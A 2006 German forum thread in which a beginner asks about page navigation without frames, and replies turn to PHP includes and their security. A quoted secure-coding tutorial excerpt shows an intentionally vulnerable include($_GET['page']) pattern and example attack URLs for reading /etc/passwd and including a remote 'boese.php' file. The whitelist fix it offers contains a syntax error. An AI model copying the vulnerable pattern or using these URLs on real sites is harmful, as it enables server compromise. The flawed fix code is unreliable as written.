Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
(Web-) Design und webbasierte Sprachen Tipps & Tricks, Designabgleich, HTML & Javascript, Flash, ASP, PHP, Perl/CGI...

Tables- Navigation

Diskussion: Tables- Navigation im Forum (Web-) Design und webbasierte Sprachen, in der Kategorie Web, Network & Multimedia Palace; Anzeige Hi leute, Ich habe vor fuer nen Kumpel ein kleines spassprojekt zu starten, dafuer wollte ich die Seite machen. ...

Antwort
Alt 07.06.06, 21:57   #1 (permalink)
 
Registriert seit: 01.06.05
f100d Leistung: Facit NTK
Likes: 0
Standard Tables- Navigation

Anzeige

Hi leute,
Ich habe vor fuer nen Kumpel ein kleines spassprojekt zu starten,
dafuer wollte ich die Seite machen.
Ich hab frueher schon mal die eine oder andere page gecodet (in html) und hab da fuer die navigation immer Frames genutzt.
Ich habe begriffen, das das der falsche Weg ist^^.
Also hab ich mir dieses "tut" zu Herzen genommen:
Selfhtml.org
Sowieso die beste seite, wenn man html lernen will denke ich.

Hat auch alles wunderbar geklappt mit den tables,
NUR.. mir gefaellt die moeglichkeit bei frames,
mit der navigation einfach:

Code:
 
<a href="bla.htm" target="rechts">bla</a>
Ich hoffe ihr versteht was ich meine.
Und jetzt bei tables, wenn ich auf den link inder navi-table klicke, das ich das dann in der rechten tabelle zu sehen bekomme.

"ps, hab die boardsuche benutzt, und nicht das gefunden was ich gesucht hab"

Vielen Dank schonma:)
f100d ist offline   Mit Zitat antworten
Alt 08.06.06, 00:45   #2 (permalink)
 
Registriert seit: 26.05.06
coderinblack Leistung: Facit NTK
Likes: 0
Standard

Diese Möglichkeit hast du mit Tabellen nicht, vieleicht mit JavaScript, wozu ich dir aber nicht rate

mfg
coderinblack
coderinblack ist offline   Mit Zitat antworten
   
HaBOT
 
- Anzeige -

Werbung ist gerade online    
Alt 08.06.06, 01:28   #3 (permalink)
Moderator
 
Benutzerbild von xeno
 
Registriert seit: 09.09.04
xeno Leistung: Pentium Ixeno Leistung: Pentium I
xeno eine Nachricht über ICQ schicken
Likes: 76
Standard

ich mache sowas seit längerem mit php includes, obwohl es auch da wieder schönere möglichkeiten gibt. die soll dir aber jemand anderes erklären.
auf die schnelle bei google gefunden: http://www.cybton.com/tutorials_show,tut,1081.html
xeno ist offline   Mit Zitat antworten
Alt 08.06.06, 07:51   #4 (permalink)
Themenstarter
 
Registriert seit: 01.06.05
f100d Leistung: Facit NTK
Likes: 0
Standard

Hmmm, ok
ich werde es mal mit den php-includes versuchen wenn ich aus der Schule komme.
f100d ist offline   Mit Zitat antworten
Alt 08.06.06, 08:28   #5 (permalink)
Moderator
 
Benutzerbild von xeno
 
Registriert seit: 09.09.04
xeno Leistung: Pentium Ixeno Leistung: Pentium I
xeno eine Nachricht über ICQ schicken
Likes: 76
Standard

Zitat:
Original von f100d
Hmmm, ok
ich werde es mal mit den php-includes versuchen wenn ich aus der Schule komme.
meld dich ruhig über icq wenn du probleme hast ... 146397419
xeno ist offline   Mit Zitat antworten
Alt 08.06.06, 08:59   #6 (permalink)
m1ndless
Guest
 
Likes:
Standard

Mir würde ein Template-System bzw Content Management System dazu einfallen.
Aber das ist aufwendiger und für den Anfang nicht so geeignet...

Ich denke eine Seite mit der Navigation in die ein Iframe eingebunden wird, ist das einfachste für dich... obwohl das auch nicht das schönste ist.
Aber so kannst du für die Seitengestaltung eine Tabellenkonstruktion verwenden und den Inhalt bequem im Iframe laden.
  Mit Zitat antworten
Alt 08.06.06, 09:06   #7 (permalink)
Moderator
 
Benutzerbild von xeno
 
Registriert seit: 09.09.04
xeno Leistung: Pentium Ixeno Leistung: Pentium I
xeno eine Nachricht über ICQ schicken
Likes: 76
Standard

na von iframes würde ich aber mal ganz die finger lassen
wie gesagt, php include ist nicht so schön wie css, aber allemale besser als iframes!
und guck dir mal ein paar cms an, die arbeiten sehr oft mit includes.
xeno ist offline   Mit Zitat antworten
Alt 08.06.06, 09:16   #8 (permalink)
m1ndless
Guest
 
Likes:
Standard

Ich hab ja auch nur gesagt, dass Iframes einfach sind und habe auch darauf hingewiesen, dass es schönere und bessere Möglichkeiten gibt.
Wollte ihm nur eine einfache Alternative zu Includierungen nennen.

Außerdem sollte man bei Include-Anweisungen sehr vorsichtig sein, da sie ein enormes Sicherheitsrisiko darstellen, wenn sie nicht abgesichert sind.
  Mit Zitat antworten
Alt 08.06.06, 16:32   #9 (permalink)
Themenstarter
 
Registriert seit: 01.06.05
f100d Leistung: Facit NTK
Likes: 0
Standard

Ich hab letztens irgendwo was ueber sicheres php coden gesehen, mal gucken wo das war.
Nur was ist dann die gefahr wenn ich das falsch bzw nicht sicher mache?

Mfg
f100d ist offline   Mit Zitat antworten
Alt 08.06.06, 16:44   #10 (permalink)
 
Registriert seit: 08.06.06
dany-nn-c Leistung: Facit NTK
Likes: 0
Standard

Zitat:
Original von happy
na von iframes würde ich aber mal ganz die finger lassen
wie gesagt, php include ist nicht so schön wie css, aber allemale besser als iframes!
und guck dir mal ein paar cms an, die arbeiten sehr oft mit includes.
Was hat denn css mit php(includes) zu tun???
ich nutze beides zugleich. Warum auch nicht?!
Nur wie oben schon erwähnt solltest du bei includes auf Sicherheit achten, so das keine fremden Inhalte bzw seiten includiert werden können.

Gefahren
Die Gefahr bei unsicherem includen besteht halt darin das jemand seine (bösen) Scripte auf deinem Server ausführen lassen kann. was dann passieren kann, kannst du dir sicher denken oder?

Suchmaschienen
Einige Suchmaschiennen haben Problem mit Variable in der Url, somit solltest Du dann über den Einsatz von mod_rewrite nachdenken, um diesen Problemen aus dem Weg zu gehen.

Edit: Falls du ein Script brauchst zum sicheren includen, schreib einfach
dany-nn-c ist offline   Mit Zitat antworten
Alt 08.06.06, 17:46   #11 (permalink)
m1ndless
Guest
 
Likes:
Standard

Ich bin gerade dabei ein Tutorial zu schreiben wie man PHP-Anwendungen sicher programmiert. Aber es sind erst 50% fertig....

Hier ist ein Abschnitt (zu Includierungen):

Zitat:
Eine ebenso oft ausgenutzte Schwachstelle ist das mangelhafte Absichern von Include- & Require-Anweisungen (sog. Remote-Command-Executions).

Ein typisches Beispiel für ein unsicheres Includieren:
<?php
include ($_GET['page'])
?>


Die dazugehörige URL könnte dann so etwa lauten:
http://deine-seite.de/?page=index.php

Da keinerlei überprüfung stattfindet könnte man sich so jede Datei unterhalb des Arbeitsverzeichnis anzeigen lassen, oder bei eingeschaltetem URL-Wrapper sogar eine PHP-Datei von einem fremden Rechner ausführen lassen.

Beispiel(e):
http://deine-seite.de/?page=/etc/passwd/
http://deine-seite.de/?page=http://b...e.de/boese.php

Daher sollte man auch hier das Prinzip der Whitelists* verwenden um solchen Missbrauch von Include-Konstrukten auszuschließen.

Beispiel für sicheres Includieren:
<?php
$whitelist = array('page1.php','page2.php','page3.php');
if (in_array($_GET['page'];$whitelist))
include ($_GET['page']);
else
echo 'Kein Zugriff erlaubt!';
?>


Folgende Funktionen sollten nur in Verbindung mit einer Whitelist-Überprüfung verwendet werden:
- include()
- require()
- fopen()
- file_get_contents()
- file_put_contents()
- join()
- implode()

*) Whitelist = Liste (bzw Array) in der sich alle Dinge befinden, die erlaubt sind. Alles andere führt zu einem Fehler.
Blacklist = Liste (bzw Array) in der alle Dinge stehen, die verboten sind. Leider kann man immer wieder etwas vergessen, sodass man hier nur eine begrenzte Sicherheit hat.
.
  Mit Zitat antworten
Alt 08.06.06, 18:05   #12 (permalink)
 
Registriert seit: 08.06.06
dany-nn-c Leistung: Facit NTK
Likes: 0
Standard

file() wäre als Funktion für die Whitelist noch zu erwähnen.
dany-nn-c ist offline   Mit Zitat antworten
Alt 08.06.06, 22:42   #13 (permalink)
gesperrt
 
Registriert seit: 07.03.05
Hirnbreaker Leistung: Facit NTK
Likes: 0
Standard

ja und was ist mit dem default-befehl?

also

switch (){
case "1":
include "main.php";
break;
default:
print "Link nicht vorhande";
}


???

Oder hab ich das falsch verstanden?
Hirnbreaker ist offline   Mit Zitat antworten
Alt 09.06.06, 12:41   #14 (permalink)
m1ndless
Guest
 
Likes:
Standard

Ich bin gerade erst aufgestanden, kann also sein, dass ich noch etwas neben mir stehe. Aber die Switch-Funktion hindert eigentlich niemand daran, eine bestimmte Variable über die URL zu initialisieren und die Datei zu includieren.

Das einzigste was mir jetzt einfallen würde, was am sichersten ist, ist ne Whitelist überprüfung der vorhandenen Seiten (habe ich oben ja schon geschrieben, wie das geht).
Bei allen anderen Konstrukten besteht die Gefahr, dass man etwas vergisst oder dass jmd schlauer ist und doch einen Weg findet wie man ne fremde Datei includieren kann.

Und ich bin so fertig, ich glaub ich leg mich grad wieder hin....
  Mit Zitat antworten
Alt 09.06.06, 13:23   #15 (permalink)
 
Registriert seit: 09.10.05
bugbuster Leistung: Facit NTK
bugbuster eine Nachricht über ICQ schicken
Likes: 0
Standard

also erstmal sollteste die finger von tabellendesign lassen. das ist mitlerweile auch schon schnee von gestern ... heute baut man seiten mit xhtml und css ...

http://de.selfhtml.org/css/layouts/index.htm

zudem war hier erst vor kurzen ne diskussion über includes und php .. da waren meiner meinung auch beispielskripte dabei ... also einfach mal suchen.

mfg
bugbuster

*edit*

schau mal hier ->

http://tut.php-q.net/frames.html#f1


meistens sind includes seitens des providers auf lokal beschränkt oder täusche ich mich da?
bugbuster ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Web, Network & Multimedia Palace » (Web-) Design und webbasierte Sprachen » Tables- Navigation
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
verteiltes Rainbow Tables berechnen SyneX Cryptography & Encryption 1 01.01.09 21:09
Erzeugen von rainbow tables Iceman39 Cryptography & Encryption 2 26.09.06 22:35
MSN OLD und BETA Registry Tables [3H] Code Kitchen 1 16.07.06 16:25
LM Rainbow Tables piOo Cryptography & Encryption 1 05.12.05 11:19
SQL-Abfrage aus 2 Tables ph0x (Web-) Design und webbasierte Sprachen 1 28.01.02 04:15


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61